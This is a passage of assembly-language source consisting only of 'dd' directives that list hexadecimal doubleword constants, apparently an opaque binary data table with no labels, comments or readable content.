4402F033h dd 0CCF9C6B7h, 5BE04882h, 0F09CECB1h, 2690064h, 0BB0DCFDCh dd 2D02FDD2h, 0E62350DEh, 1AC0F714h, 2A12C362h, 18002765h dd 0E39AE4B0h, 22F800BFh, 13CC4E87h, 9C00A895h, 9DE9FFDEh dd 799F56Ah, 689B3DBBh, 0EA460DCh, 0AD74EEA8h, 3AF0FD00h dd 9E29C8EAh, 0AB3774Ch, 6845A301h, 9D1A0184h, 8072A10Ah dd 11C25D11h, 240BEC2Ah, 944EBFh, 0AC05C8D0h, 3B3E2138h dd 7E84828Fh, 44209D25h, 5BC01454h, 777E48Bh, 6A9B1A69h dd 21528089h, 2E0F6DD5h, 0C0E02327h, 0DE961D09h, 6AA80753h dd 0A07813BBh, 942ECAEDh, 34E9D100h, 4FAB671Dh, 427E184Dh dd 7365A40Bh, 822A3E00h, 700555FDh, 0A2E403D0h, 96CD0885h dd 0EC3C0C90h, 6E34D90Ch, 18610B1h, 4B37330Eh, 0D4F57CCAh dd 0B001579h, 0B6B2A878h, 2F434ACh, 0E660A581h, 60428Dh dd 943CA6E7h, 0FBA003B2h, 98897724h, 0A32ED2h, 0AC6C2B22h dd 0C2883E78h, 0BF33D309h, 0EB65075Dh, 0F336AEA3h, 0BC00A7C9h dd 6C4E8Ch, 0B5AD2B07h, 857B6B3Ah, 0D647214h, 7F9A1F9Ch dd 7D505Ch, 2F5802A8h, 0AAF80Ah, 0D92A844Dh, 0BB8586D8h dd 99DBBC00h, 17553096h, 0F0E903Ch, 44E22C6Ch, 1E40E90Fh dd 25362372h, 0C8394501h, 0A4EE19BFh, 0A9AB70h, 0CE3486CFh dd 0ABC6EC50h, 3979C93Bh, 0E07481A5h, 0CD0D8E8h, 3DCDAC40h dd 0E2B81C33h, 0A67CC0B7h, 1067600Fh, 0F812F571h, 5403902Fh dd 3D75985Eh, 2A18CA68h, 0E5F45166h, 8E9AE10Bh, 2E0001F3h dd 0BAC86E37h, 0CC8312A6h, 4F1800D6h, 93C661BDh, 461C3309h dd 71CC203Ah, 3C74B273h, 7F071718h, 86AE6D53h, 0CFF02038h dd 0C960A100h, 8CA02C84h, 7573036Ch, 0B681FCD1h, 978B89E0h dd 3D5A74C0h, 9AF310E1h, 8093026Ch, 4245A8F4h, 0AECFCC40h dd 581C9700h, 192B3AA7h, 0A43D00BCh, 0BAC8DCA1h, 620F8BCBh dd 0E04297E6h, 0E19A6341h, 7AE084h, 0C10A29CAh, 307FC64Fh dd 809D5F3Eh, 8A7E7995h, 7569FEh, 0CBF79161h, 0D2BAD5BFh dd 0A7A0341Fh, 95004CE4h, 2E0E2FC5h, 0E8AD00AAh, 5870316h dd 0EC06FB5Fh, 0A9F8F912h, 0F5ED0248h, 0AFA42940h, 0CCC8BC60h dd 0A72BFF00h, 1E5A1807h, 5128C082h, 4CBA647h, 2717A00h dd 49E3DCE8h, 5809000Ch, 0BEB9D440h, 0F43E53C4h, 6D77005Ch dd 3856FF83h, 2110C05Dh, 0CF8E6BB7h, 1899EA0Fh, 4FC0DFF1h dd 615FB4A6h, 8FFC3D50h, 9D7A2800h, 5B169449h, 5191700h dd 726D5711h, 4D5A1DC4h, 45710h, 0DDDFFDB5h, 749087D2h dd 84349301h, 55C6C475h, 30B9560h, 0F85AF353h, 0E090F60Ch dd 0FE7E6974h, 4C38E207h, 25E09A0Fh, 89AA5Ch, 0DE52D240h dd 0A617DD82h, 0F3DB050Ah, 7B0FC409h, 48150CDAh, 0ECD70002h dd 0C60EDC7Dh, 6907B8F7h, 12418968h, 869CA0B1h, 0D4D8F0h dd 4FEF8A01h, 0CEE9F785h, 89FAC170h, 0BF491B0Eh, 0FC5CB62Bh dd 240BA881h, 4C20224Eh, 4B3905FFh, 8D42AAh, 524A7697h dd 0FC004DE4h, 0B9640ABFh, 141F46CBh, 0B78F0B7Ah, 0D0B77300h dd 6C803125h, 0A594D800h, 0F2A796FFh, 0BED60CDCh, 0B870871Ah dd 4313B07Ah, 0B020B4A2h, 363E93h, 0FDF31332h, 0C13B5545h dd 10A1B578h, 0F2DB0023h, 0C30D3AFDh, 0BC8C1909h, 0BB10B803h dd 0FA6C31E7h, 0A57EF4CFh, 60904303h, 0D04E51A2h, 9436128Dh dd 18190638h, 48C739BDh, 8930A8C0h, 0ED2EAh, 8D8CF55Eh dd 0CB363997h, 7A41EC00h, 33FCF2C2h, 0BAD21D53h, 0B899C1A0h dd 41099213h, 40F3C02Ch, 55AA5768h, 0B600F5E6h, 0C80F7CDDh dd 505A30h, 0A13662FAh, 0CCDB69F3h, 7637F900h, 0F4A20E31h dd 399C0030h, 9D70E2F7h, 561E33CDh, 4E4083A9h, 2180F023h dd 0E06300B4h, 0D7B937A4h, 9B00DD97h, 0B210C5CAh, 466036h dd 0FD35523Eh, 0EEDFD9AFh, 0C0A82100h, 2B1DE437h, 883300BFh dd 293A622Ch, 92004344h, 139CB9FDh, 7E5DFFEh, 4186A55Bh dd 5FE03081h, 0A401EB9Fh, 245DDCA9h, 0DBCC9E56h, 4C6C00EDh dd 0D8F71EA0h, 0AE075EFBh, 0EB50BF89h, 2084A0F9h, 0FB356656h dd 959BC8h, 0F87787ADh, 3411249Ch, 1FF32902h, 422630F5h dd 0AAAB8EC5h, 171FA898h, 0DE481C00h, 1408E5Ch, 0DDD90BA9h dd 0D88D7B66h, 9F003B81h, 0F73421C0h, 0CB551E43h, 29804E18h dd 588712FCh, 54CC5Dh, 8D5A20B7h, 6FDF623h, 0F54EF197h dd 0AE12A9D4h, 70D7C3DDh, 10BC2930h, 0DEF52294h, 0AAE6C800h dd 8202D50Fh, 1479017Ah, 98D85F55h, 18C1086h, 964032Eh dd 875D3994h, 7EDE9398h, 5CC26903h, 0ABAC0C02h, 5442A0D6h dd 0D98900FBh, 0DD96360Fh, 49C076B4h, 58B3445Dh, 0A1E760F0h dd 21DEF131h, 0BAB90E00h, 3E88F57Bh, 0F777Ah, 0A266BE58h dd 412F7177h, 60B0CB00h, 0CCF1A1B6h, 2DA614C5h, 74E00442h dd 807A967h, 4432B0F4h, 0C2541DC0h, 22980082h, 41A6FF7Bh dd 640035A4h, 348EFDD1h, 1FC53D54h, 40BCCF99h, 2818523Bh dd 30C0D61Eh, 0EDE97AA7h, 17E81833h, 93D20B1h, 13536070h dd 0EC93C420h, 0D307860h, 0B1B29E30h, 26346h, 0A5FC9A14h dd 819131F9h, 30674AE8h, 2C0F120h, 98B7A4ADh, 943E1F15h dd 257D82B1h, 7881CBC0h, 0F01A47D7h, 7A2C4F96h, 501CBCFFh dd 8F523C09h, 0C377A052h, 0C2BF8AAh, 0FD4A781Bh, 0B8540E28h dd 5C24709Ch, 3C3E32h, 5E270C9Bh, 1EFFE04h, 2DAA7CEAh dd 836879CFh, 57E74199h, 0C1E806F8h, 4919E674h, 353D7306h dd 112A0Fh, 89BCEA0Dh, 0B2D9E1D3h, 2309AC66h, 0D6D0121h dd 0DA1C4CBDh, 7129F003h, 26A7F107h, 0E04D7DC6h, 3560C0F3h dd 0A5F1C5F9h, 7EDEC085h, 4671347Bh, 3331F33Ah, 0E83A21B0h dd 720132E9h, 5E47D19h, 72080211h, 23502EE8h, 83860208h dd 48C04C27h, 9A383CFDh, 446E801Bh, 63C5BAF0h, 404649B8h dd 73E4A200h, 52E31461h, 39BC540Eh, 21A88C53h, 742C0083h dd 3EAFA76Eh, 1100B6C2h, 0C1E430EDh, 6034B302h, 9D03C9F2h dd 290005A8h, 1A9B7D26h, 3E1027Fh, 0D6B5A0Ah, 40ECFA2Dh dd 40BE2B8Dh, 71B5002Eh, 2A29395Ch, 0F302902Dh, 78CF6F9Eh dd 0D6D880CCh, 88BC32F8h dd 99C098F4h, 0EBCF4075h, 876A0031h, 0C08323DEh, 0FA603563h dd 0DF2ED191h, 0C1360668h, 0D83B1A62h, 21FE3430h, 1F9D301Bh dd 0C0206CF6h, 83A77444h, 0CE14F5FAh, 22181502h, 0F8AC78F8h dd 25D40F0Fh, 75205141h, 2BD52A54h, 0C5BB650Ah, 0DFC8AC9Fh dd 43143502h, 0F4AC9B53h, 73F0D740h, 0CD01773Fh, 0E81052D9h dd 0D2403144h, 50243799h, 2EF80FFh, 0AEC75CC8h, 8470CD4h dd 99600944h, 0BC0092C0h, 2B7336Eh, 4917254Dh, 0C6065801h dd 60A6F35Dh, 9520380Fh, 244E932h, 1839FD64h, 0E408E99Eh dd 6431F37Eh, 570540AAh, 0E53E87E9h, 0F76721F0h, 19DE6830h dd 6094A365h, 7BB6FC4Ch, 9D4C3077h, 24AC02Ch, 424499E9h dd 624CC081h, 23DD02h, 3AF4DFCEh, 9BE4B8E2h, 0AB509F14h dd 80140994h, 3D0055B6h, 0FD488799h, 840718CFh, 630E1936h dd 602C3DA5h, 8ABCEBA0h, 11E9D323h, 126A071Fh, 0A18024BDh dd 8E17E5h, 4C027145h, 15CD46E7h, 0BDFD2104h, 35037464h dd 43B04036h, 3003CE1Bh, 52AA8151h, 0CCEBCDFh, 0E200A39Eh dd 0B4EF321Fh, 80A70CF4h, 28F1A168h, 4306A20h, 793ACF95h dd 90A0C035h, 9898F894h, 0F87DA724h, 13806011h, 0EB146674h dd 80B1448Ch, 0A9743B0Eh, 8F2AA018h, 331FF7Fh, 0A5983ACBh dd 0CEE11504h, 1060A6F5h, 61801311h, 4C99E202h, 4844E4ACh dd 2FA0EF3h, 5800EB5Dh, 7AF6E54Dh, 6CA2A18h, 31078C8h dd 0A0A6C8B8h, 0E800C360h, 0FDF23E90h, 288CC112h, 54B476E7h dd 12DED02Ch, 1A3E3AC3h, 0C049C19Ch, 5C84185Fh, 832B02E9h dd 0AD11B4h, 53E97D3Fh, 6C83536h, 0AF65C6CDh, 0F43068A9h dd 0ECF559CEh, 4A6200B8h, 0E41AFFEAh, 1D02BAF1h, 0CF9AB722h dd 0CEA4C8F4h, 0CAC927Fh, 3D8992C5h, 1099B841h, 6D18A479h dd 937B5B00h, 667CB489h, 98B36937h, 247170AFh, 465EA878h dd 7564005Fh, 84EE2645h, 8B2026D1h, 438A840h, 9A9B55CBh dd 7C6CC2D0h, 1173E730h, 884B144Ah, 0EF848097h, 638D2773h dd 7C34FA5Dh, 91CE1400h, 10EE2089h, 2AD87BDCh, 5FCB482h dd 0DB2126A6h, 88A08F0Dh, 0D7DDC0A2h, 0DE02E5B1h, 3762BE9Fh dd 238C672h, 529689A7h, 80F7E882h, 0D9139897h, 7D930B4Fh dd 3811D0CDh, 0FB8088D7h, 0E9886039h, 63467EEAh, 0B00AF22h dd 8A4FE961h, 7D0F6F11h, 45350F78h, 34460E85h, 6BB029F7h dd 0DB14BC00h, 1C490A3Ch, 0E93F16A0h, 0A6FE0063h, 980E97E0h dd 7B204090h, 0F7160ACCh, 0BCC4B67h, 841B99F8h, 60B14FB4h dd 5E4EDEE0h, 0E0374D64h, 0AEA864D0h, 0BA8E038Ch, 0A3F71755h dd 0FD3B7DE0h, 84421C0h, 7FD7CCh, 364CDD83h, 290B7264h dd 4D665500h, 53EA6CE6h, 881C0A38h, 1A8D1CCh, 0DB9672DCh dd 0D2D0827Ah, 535030h, 1A255735h, 88EF30A0h, 0F3072C90h dd 58193352h, 58C832E6h, 0F0107CB3h, 0BCDFC00Eh, 8CC9D386h dd 5E2E44h, 589FBCE6h, 0BF316441h, 7888FE01h, 9E2AB333h dd 480E1464h, 0D28AD051h, 4391ACh, 0F3A8ED44h, 489C35BAh dd 9801A094h, 0EC71DE0h, 686980BBh, 0D4B68F31h, 0B33C3F81h dd 9BAB1500h, 0A66B50A9h, 74D00102h, 0E8146304h, 2CAA1B28h dd 5EE43689h, 873B2546h, 43948A80h, 49E410D3h, 10C0A4A2h dd 0B5819553h, 8DC107F7h, 1081DC98h, 45FC9631h, 755E3600h dd 0EE843303h, 56DEA64h, 0C28C5FABh, 8BCC9447h, 0C75FC8E8h dd 0F75D71CBh, 0EC5C70EDh, 3331DB45h, 38C04C01h, 9D8C69C2h dd 6F6DC4h, 0BF2AEBD2h, 0E7307901h, 3501609Bh, 0AC99E602h dd 0EF883D18h, 0BF02016Eh, 0CE56AB63h, 74388FB1h, 0DC47B35Eh dd 4616D9DEh, 78E52E30h, 0F400DC38h, 8845190Dh, 4717729h dd 2C9F9C63h, 4AE12A9h, 0D0B29128h, 0B0C0C660h, 7CBE89C2h dd 56AA01CEh, 0C0405ADEh, 3BD57BE3h, 5FE83CCCh, 9F445602h dd 0E00EA59Ch, 0B43634FDh, 12A0A119h, 868DC58h, 9499EF02h dd 0E6404BC4h, 566D02FDh, 5488F600h, 715BD3F0h, 0AF5829BEh dd 91F900A0h, 6CC5DC44h, 1A73AB0Eh, 303143FCh, 74D09F60h dd 4AE18C8Eh, 364C08CCh, 88BCE5C0h, 22D946D3h, 0C6C0024h dd 3AF1C9BDh, 7E00282Ah, 0D21B3E14h, 25F32620h, 0A4B7441Ah dd 0B9295C00h, 73801B7Bh, 0B0894E6h, 2C37955Dh, 25066087h dd 2FA4809Bh, 6224A857h, 0FD71FA18h, 9465F0A9h, 0E3625FE4h dd 0E72AB8C0h, 0EB802899h, 29EEE922h, 3EE300FCh, 42E7F59h dd 74EEB1E6h, 46B21807h, 9D04D10h, 181A4A9Fh, 0E8BCDE78h dd 9906DD91h, 0BF4593D7h, 16E46F0h, 7EE1E987h, 0A10C312Bh dd 1FA04088h, 0C0DBDAE9h, 0EED81E4Fh, 1F00E2F0h, 3D59E09Ch dd 2B46FB3h, 18D4A720h, 44436A0h, 4C33A845h, 4722031Eh dd 9039181Ah, 17F1D6D4h, 2147AD30h, 60448815h, 0CF9BB807h dd 52F03B31h, 0AF480490h, 0EEA1028h, 84BCE9C0h, 0CC9CB9D3h dd 70F09058h, 5D6800BCh, 48A06675h, 0DE069C20h, 2131F8E4h dd 0D1F43029h, 0B65D581h, 8461D700h, 5E67D636h, 3AD7703h dd 18381EE5h, 0E07E35CCh, 9D438D12h, 0F3FD8C02h, 0A6C4C0A1h dd 0C8C516FEh, 9BD421CFh, 0BCCE043Bh, 0AEC0AD88h, 9130E3Fh dd 0DF667E7Ah, 0A1B520A3h, 0F542B119h, 28723A08h, 79B18300h dd 0E9B646C9h, 0DD58470Fh, 0C0E1808Ah, 5C35EBC5h, 0A18018FAh dd 25EA7E34h, 0D5612E00h, 27802BDCh, 2764704Dh, 902EA5D0h dd 0C9F9C785h, 9759E89Ch, 7F208000h, 9B7333E3h, 0E98F2C85h dd 5C98136Dh, 0CCA06730h, 0B3E0BF9Ch, 23CFAD03h, 88316AC3h dd 93E5860Bh, 763B78C0h, 0D8E32500h, 1B8A9814h, 80A609B2h dd 8469FD94h, 0A703EEC6h, 7230A97Dh, 0ED7E2C24h, 1F9B9980h dd 0C62566F2h, 9DA73425h, 81B09114h, 0C4CF682Ch, 61AE2AFCh dd 2480791Dh, 0C606810h, 1918A230h, 0E0AC11A0h, 32FA103Bh dd 24775C58h, 8430411Ch, 0A77CBDh, 9C871A4Ch, 0DE08B6AAh dd 11C9C421h, 2008AD0Bh, 4E94626h, 0DE389F99h, 61C5BB02h dd 0EE8B0C59h, 33748273h, 4024D153h, 9E74367Dh, 5EF8790Bh dd 70AD008Eh, 5C71FC7Bh, 0EF108867h, 0BCECC00Eh, 8CD1D387h dd 8F2244h, 94A2BCD7h, 367A3EFCh, 9B627500h, 0E8781BF0h dd 1CCB0FDh, 85FE816Ch, 6C5C3798h, 30140E00h, 0FF7A81B6h dd 78F2CF6Fh, 0C9D1220h, 7DD4C2A7h, 1173E230h, 88131447h dd 0EAE187A5h, 0B71EA073h, 0F4A0D2AAh, 30A04FBEh, 5982D140h dd 719CA104h, 241318AAh, 1BB3E69h, 0D149CB22h, 2C4CC110h dd 75683ED8h, 73667209h, 0B34890ADh, 0E49C8449h, 0A44656h dd 8DF7BC5Fh, 6B8703Fh, 52801DE0h, 9908D853h, 5B0CBE7h dd 0B0422F3Eh, 44B978D0h, 0E2184979h, 0BECCF802h, 72F37BCBh dd 0B47F24h, 0E442975h, 146D74E5h, 1716A705h, 3C903A40h dd 50F167h, 8DCB10BFh, 4DC5832Dh, 24B0AF00h, 0DD1AC0D8h dd 326C006Bh, 26859160h, 38586721h, 0A94B039Bh, 0C83EE8AEh dd 0F487D0h, 0AC812BCBh, 0C061573Fh, 0E5E47700h, 0C78F6064h dd 894800C4h, 3AFA7F0Ch, 0EA00CF9Dh, 4B1870C2h, 7450A0F9h dd 0C3C700BBh, 0AB64B3EFh, 40C0C45Dh, 0E776EEF2h, 6FF8004Bh dd 0F135DDFEh, 0D33A0A57h, 743C802Ch, 9DB6C29h, 606B3CECh dd 3D94E80Eh, 0E0B192A0h, 32004436h, 0D92B6EEAh, 3E2AF770h dd 0A000DD6Ch, 330C1F18h, 8400CD0Dh, 0C95235E8h, 2E7A64h dd 0D66C0E02h, 0CE034CB1h, 0C1F62A00h, 0EB1DF966h, 40710075h dd 0FB436AA9h, 987B964Fh dd 0D7819260h, 0D9F6ECh, 6DD634B8h, 0FF2659Dh, 0EF8F680Eh dd 0F028F950h, 0E35F1840h, 0DE8900E2h, 15EEC13Dh, 3814F975h dd 0A8C8824h, 0A8AA761Ah, 34F21D80h, 65419Dh, 9830E6F4h dd 0C8DAB9A2h, 0FE6158h, 728DADB2h, 4C0C64E8h, 2700077Eh dd 0CB5FC75Ah, 3C0071E2h, 8A76F7D5h, 0E10826h, 0EEDF78BFh dd 2FFC5A79h, 28C0CEC0h, 100D93h, 0D9DD600Ah, 0EB55EE09h dd 5BCF4101h, 6116D744h, 6FF10882h, 0CD603DABh, 0EA00E7FBh dd 0F0B9C136h, 7C64D4h, 3FDCB2E3h, 1F22994Bh, 5D16B51Fh dd 9CB30E0Fh, 91509718h, 34B0141h, 49B81B35h, 693AC7F1h dd 0DF6D1E43h, 0D11111F0h, 0C00D5801h, 6EF36003h, 0C9A35E98h dd 0C87A2100h, 48B01101h, 4CDA00E2h, 0E1CED0E5h, 0D70C8A55h dd 0B8376387h, 0A241F5Bh, 36B80FEh, 34C157DBh, 0D82E08C6h dd 221E0020h, 0FD7D4FFEh, 4030E565h, 48494853h, 0A88C611Fh dd 80B1054Ch, 0AEE8C119h, 30BFDEFh, 65DB5BA1h, 2800B47Bh dd 841F0C40h, 2038C63h, 45BE56C8h, 0AC400753h, 2B3F4334h dd 826E809Dh, 0C2C12226h, 0A552007Fh, 4D37B121h, 7C017E98h dd 5F10DC43h, 0DFEC3CA0h, 0EECC3A2Fh, 19B7E780h, 0B4C6CE5Dh dd 9420C213h, 0E8938900h, 734EB61h, 90B795F5h, 558440DDh dd 9D00878Bh, 0E150417h, 2C67ADA4h, 2F33F2h, 3D4C14A6h dd 883B7965h, 0B7810196h, 0A8F2B0E9h, 9455E8h, 0EF37CBD2h dd 123C2C4Dh, 0CC92C300h, 1088B5A5h, 0FDC70095h, 4D5B68DEh dd 0A1EC1A75h, 15D45Ch, 37F7C283h, 0F8E2A3B3h, 80CFB876h dd 3468D3h, 294C04B9h, 0C77D651Dh, 516B560Eh, 581900D9h dd 176F9FE8h, 0FA9DA177h, 0C762BE00h, 9870D728h, 372109BFh dd 4780B371h, 0CD9BB9BAh, 36004A98h, 0E3DD91F5h, 1E256258h dd 8035AB94h, 822DC342h, 0BD004120h, 0B838C928h, 29C2B17h dd 7023C4AFh, 0D043338Ch, 90C667AFh, 0E2E7D75Fh, 6CF38h dd 4E8AE32Ah, 0E7EA020Eh, 3CCF41EAh, 3346CCh, 9653D49Ah dd 76A9DF38h, 63893E58h, 890D1C60h, 54E8E042h, 0B0D5014Dh dd 57ED7C26h, 0D174D0A8h, 0FCFB7239h, 1E5FF400h, 8B9BAD8Ch dd 0A6A300E9h, 994F25C1h, 8300C861h, 58DED1A5h, 4D1BA2h dd 0BE9566BDh, 2BD687E8h, 39FED701h, 0FF191701h, 1B0020h dd 26C81ACCh, 36FCF2D3h, 0C0701600h, 0F121583h, 11810F64h dd 3C2002C1h, 3F05F32Eh, 56D6C665h, 1EEAA000h, 0C04467C5h dd 69FCE811h, 5AE054F8h, 807B373Fh, 0F3706BD8h, 0C009DF0Dh dd 0D9365258h, 0EB0041C6h, 739D518Bh, 0F44AE82Dh, 6B1A007Fh dd 0B1190E4Dh, 953C9A6Eh, 80408039h, 8603DC4Ch, 0FE64008Eh dd 0CDD9AE07h, 0A008882h, 8DA9D4E9h, 0E7F2BEDh, 8EB10C29h dd 0DE3A5E40h, 9E001407h, 0D4653B15h, 2BC309h, 876DF075h dd 2790B010h, 1171A37Fh, 0B3547801h, 5394F4E2h, 79D587D0h dd 0C1200374h, 0C822D231h, 308177A1h, 4E4C5EA0h, 0E84800B0h dd 900D829Dh, 9F7E005Ch, 9C13C336h, 7800D9D3h, 54E91F4Bh dd 30BB198h, 61A9526Dh, 3BA80E22h, 5A1CBFDBh, 73C0633Ah dd 24B56455h, 6F2600B1h, 6654F4A3h, 0C7B0C516h, 0FE0003E8h dd 2EE35634h, 92E7CEA4h, 0EEDD0784h, 3C280A9Fh, 0A2008110h dd 8F468D71h, 905AF417h, 49040A80h, 87ECC9B9h, 4075C634h dd 637B2A6Dh, 864C0300h, 0C8179067h, 0EBC8A0A2h, 0FB8C00D0h dd 0E0035736h, 3300AD1Bh, 0CA300CA6h, 4A02F84h, 0FA7EA8EEh dd 72290306h, 2C048B2h, 8CE0A907h, 0D983A0A0h, 81F6AE6Fh dd 0B807A5B8h, 0F6762FEEh, 1C907050h, 0EC800F5Fh, 0A50089B0h dd 9C535012h, 0A9AF1400h, 5B366A1h, 60250090h, 0C30701E2h dd 0D80F480Dh, 4010D724h, 4FE939BDh, 0B2E01FFFh, 0EFDCC978h dd 541478A0h, 0F77F4204h, 0BBC4000h, 27A7EB76h, 0F1DB0417h dd 8024CD7Ah, 9A57CF3Fh, 2A950703h, 0A858705Ch, 0FC17DEFh dd 0DCC5D4D6h, 27E52580h, 22008EF7h, 83992D35h, 6060F47Bh dd 5EA471BDh, 2100BE80h, 0BC0C5694h, 0E0DB1B25h, 0B5460939h dd 9C20316Ch, 0D0BAC247h, 1397C500h, 0A4BFA77Ah, 0EA012A29h dd 879506D4h, 119CC069h, 84E41900h, 0BB35DB04h, 0A049C05Bh dd 2FDCD37h, 7AA79900h, 0EE662C0h, 0F8964832h, 0DA0B0939h dd 6B80D8F7h, 527B4A6Fh, 51D39100h, 723FCC3Dh, 0F8A63D6Ah dd 0D1E9F103h, 1100AE8Dh, 0FC845285h, 985EB7B1h, 9B1703ACh dd 0AF7C6280h, 0EA8B35C8h, 0FC8A0A24h, 4EF2CB01h, 0AA804DA3h dd 890677C6h, 0AD00EBDBh, 0DE0715D2h, 283DD692h, 0E98CF20h dd 5031CC17h, 80442680h, 0DF7C1BA0h, 0D30E0D00h, 79B6ED1Ch dd 0E7901D83h, 9CBB1F42h, 28811892h, 0C755541Ah, 0E229FCBCh dd 0E13C651Ch, 1D594B47h, 5720C0FFh, 3CB40634h, 16301B31h dd 58D78460h, 9B80720Ah, 15882891h, 13C87C4h, 0F2A00CE2h dd 45D5EB01h, 5EC35B25h, 0C3799C0h, 9E492CE4h, 3C0A4A70h dd 30DA1AF4h, 2C68941Ch, 0E7851C03h, 0A08D2979h, 281F834Eh dd 109E95h, 5217BF80h, 0F6AE7DAAh, 32777400h, 73A356DAh dd 0C8476057h, 0FBC2B6E1h, 0CA2FBA00h, 23B2A210h, 8B310EE2h dd 7D6C1D77h, 2200E1F2h, 4CFFB87Fh, 6520F0h, 0D27EBFDh dd 1EBC2D86h, 0D188E400h, 0B56C607Dh, 0AFA32A1Ah, 0F28900BCh dd 0D134CFB9h, 413AD98Eh, 84B18794h, 0E0E07DA0h, 0A0BFF677h dd 5AEF55Ch, 1C622AB7h, 0D53090CAh, 6C7D5013h, 92B85501h dd 7C108B2Ch, 18E96E60h, 4101522Dh, 920F055Fh, 2028D055h dd 2563BC5Eh, 21A960FCh, 0E4AFBE4Bh, 53001576h, 34F0137Ch dd 0C0B4BD95h, 9D8A32B1h, 40002FD6h, 8FF72AE5h, 0C1996903h dd 21B8CF94h, 0CD9880DEh, 0ED611BD4h, 9330A0F5h, 75A80F19h dd 8E80C17Ch, 0A3B5EF70h, 9E3E3401h, 1833A4B0h, 4774E850h dd 0FEFF0060h, 0A96948E8h, 49C0A8F6h, 37E133FBh, 2F360017h dd 0B330E78Eh, 57E0C658h, 122C417Bh, 0E43DBCB4h, 18C8B7B9h dd 89ED0531h, 0C050712Ah, 7F5E4AF2h, 0F234612h, 0A9DE040h dd 426F741h, 20B51672h, 0A275818Ch, 4857D45Ah, 0A3692D00h dd 7AA9C622h, 0FB70A0F6h, 8031009Ch, 8E0AFD8Ah, 806A374h dd 28FFA787h, 0D71C2AD9h, 0A07EDCh, 0B6181F61h, 0A57E5B9Ah dd 7507027Ch, 63782729h, 5DEB1640h, 101300C7h, 2EB64CCDh dd 71C39E58h, 78A9B2E5h, 407D60D9h, 18A4DB2Fh, 2A19C663h dd 0DFD93E53h, 8917FF18h, 1502C737h, 6979B0DBh, 68E08071h dd 7A405FFh, 6EC136C9h, 0C39B13B2h, 1CCA611Bh, 782BC079h dd 74C91F5h, 69E756h, 6412D94Ah, 78C82900h, 0CD9ABD5Eh dd 1716139Eh, 9B550C0Bh, 0C2006841h, 7A9A3FB9h, 0C08E28CCh dd 0DC72B119h, 8C06FF5Fh, 0C3BC8543h, 164700C9h, 70A0F63Ch dd 4F016B03h, 57055448h, 0E0D26046h, 0E4056D1h, 0B72BC41Fh dd 0A1116146h, 6176A230h, 82B6CEh, 327D373Ch, 6F8B6394h dd 29F2A03h, 67F29CAh, 0FC300529h, 830041ABh, 0F7FA127Dh dd 3E4E4966h, 0F6993Bh, 0A49E9072h, 0B802E1Ah, 64AACE24h dd 0A207C030h, 2372293Ch, 8F9400F8h, 0F285056Dh, 5EFA6E00h dd 457EC2D3h, 3DB21827h, 0CC5F29E0h, 0AD97E700h, 0E8E9B7DAh dd 0D84E484Fh, 7ACD100h, 0AAB22E4Ch, 753180EFh, 5E6BFE55h dd 1EBE2CFh, 12E154CCh, 8F8283CDh, 897949D1h, 0BC881129h dd 8300D422h, 0C26DC7FBh, 0C40C4CCCh, 0F99CF679h, 0AFF70A74h dd 1887B90h, 0BD0E4E75h dd 0F2D7F963h, 0C44E7E2h, 7C41FA00h, 58A53D3Eh, 652F0EEBh dd 0D5E07AF7h, 5A3B0F4Fh, 3E758F00h, 1478A59h, 63CF839h dd 0BE1C4566h, 0B400499Ch, 0CE75C343h, 74F3FB9Bh, 5008B862h dd 24BFB84Ah, 38C7AD2h, 0C0552DF2h, 0EA4A913h, 58911C27h dd 0CCD9B15Eh, 0E4309054h, 0B0BE3B9Bh, 0F9DC027Dh, 1DBC7198h dd 0AD01A464h, 268B3715h, 0F7603503h, 0D53100D0h, 8F196750h dd 2524FF71h, 0B8637CF1h, 0A409C8A8h, 8E78C793h, 0DAF1204Ah dd 0D9489838h, 72F60004h, 5059A124h, 861A2633h, 63F26088h dd 0A8003730h, 607BAE2Ch, 1CC6802Fh, 667E288Ah, 11660380h dd 83913B9Eh, 6E67E05Eh, 0A8B2BB12h, 0B544CC20h, 45E34C92h dd 4074B826h, 0F9EDA803h, 6765E805h, 9C01D67Dh, 0A95F2ECAh dd 21221908h, 0AE5E0BDEh, 5185ABF4h, 5C8528Dh, 20A2C6CCh dd 6B5836F4h, 0F8677103h, 902025E4h, 4CF7D8D2h, 0B215D221h dd 5B034CA0h, 89F9948h, 89F15F83h, 0A098DED9h, 0BC096366h dd 547B15h, 98C52DA4h, 0F6623A9Bh, 99BE7C8Ch, 72012579h dd 8AA98B3Dh, 0DFCC7A3h, 0BD5400CDh, 69446781h, 2C88DC23h dd 1F387107h, 0C614B38Fh, 4975BC9Dh, 0D33B4900h, 0C58EDAB4h dd 1E83026Ah, 3CB13718h, 30EDA466h, 3465C844h, 9C80FC08h dd 30516408h, 0A629C2B7h, 68001543h, 0C60762A1h, 0A3914BDh dd 0A898943Eh, 756501B1h, 32612A9Fh, 6A40ED8h, 0EB05901Ah dd 0C9FFA548h, 0B7C02060h, 0D296B21Eh, 9E464E00h, 0DCE21Bh dd 0C198FC1Dh, 0E7F2BD7Bh, 3F93200h, 4E9C314Ch, 0EC1B03CEh dd 0E69018B3h, 190028E3h, 9271D936h, 0AF062Dh, 9AAF47Eh dd 0E112C517h, 0F90E8500h, 2550FA1Ch, 463D03BFh, 2E069C30h dd 90AA4100h, 9294521Fh, 0E12D3C8Ah, 0F274FC87h, 0A8EE40ABh dd 0B300FB19h, 8AAE71C5h, 0A093C370h, 2EB4C924h, 7AECDDEh dd 907DFA56h, 0F02ED2Eh, 9A1CA201h, 4D221760h, 0D47E3083h dd 0F988C653h, 593FE019h, 209D0001h, 8DBCFE34h, 0BAEC002Dh dd 16CB8772h, 5D06D005h, 4A03A4A8h, 1D4E0270h, 8BE0FB28h dd 6825C360h, 88934F00h, 7559D49Eh, 0A5B0698h, 30384DE1h dd 1A9F4600h, 0D794ACE3h, 0AF57003Eh, 16B3D46Bh, 28FE3C81h dd 0D1487431h, 0A7C9A532h, 0D31FD8FBh, 13670004h, 52C5D0CBh dd 0CC0C3310h, 313F7401h, 0AC8E0073h, 38B597F2h, 0A600AF4Ah dd 640720CBh, 0C04EF725h, 8F796D29h, 0C000101Bh, 0B4D0D632h dd 0CD0FA6h, 65433DFFh, 2D874999h, 32B25715h, 2BFC0098h dd 0DD583FC1h, 0D5F0BF99h, 59002AF0h, 0DB2ECB84h, 0C0AE50Fh dd 32D73DF4h, 6206B0F1h, 94BB5756h, 0A78D1549h, 1603A047h dd 0BC7AD9A9h, 0AC98C0BAh, 2D00B7D2h, 7996336Fh, 0F497Ch dd 7F82CD34h, 563B74D7h, 0D1C0EC98h, 5473A8FDh, 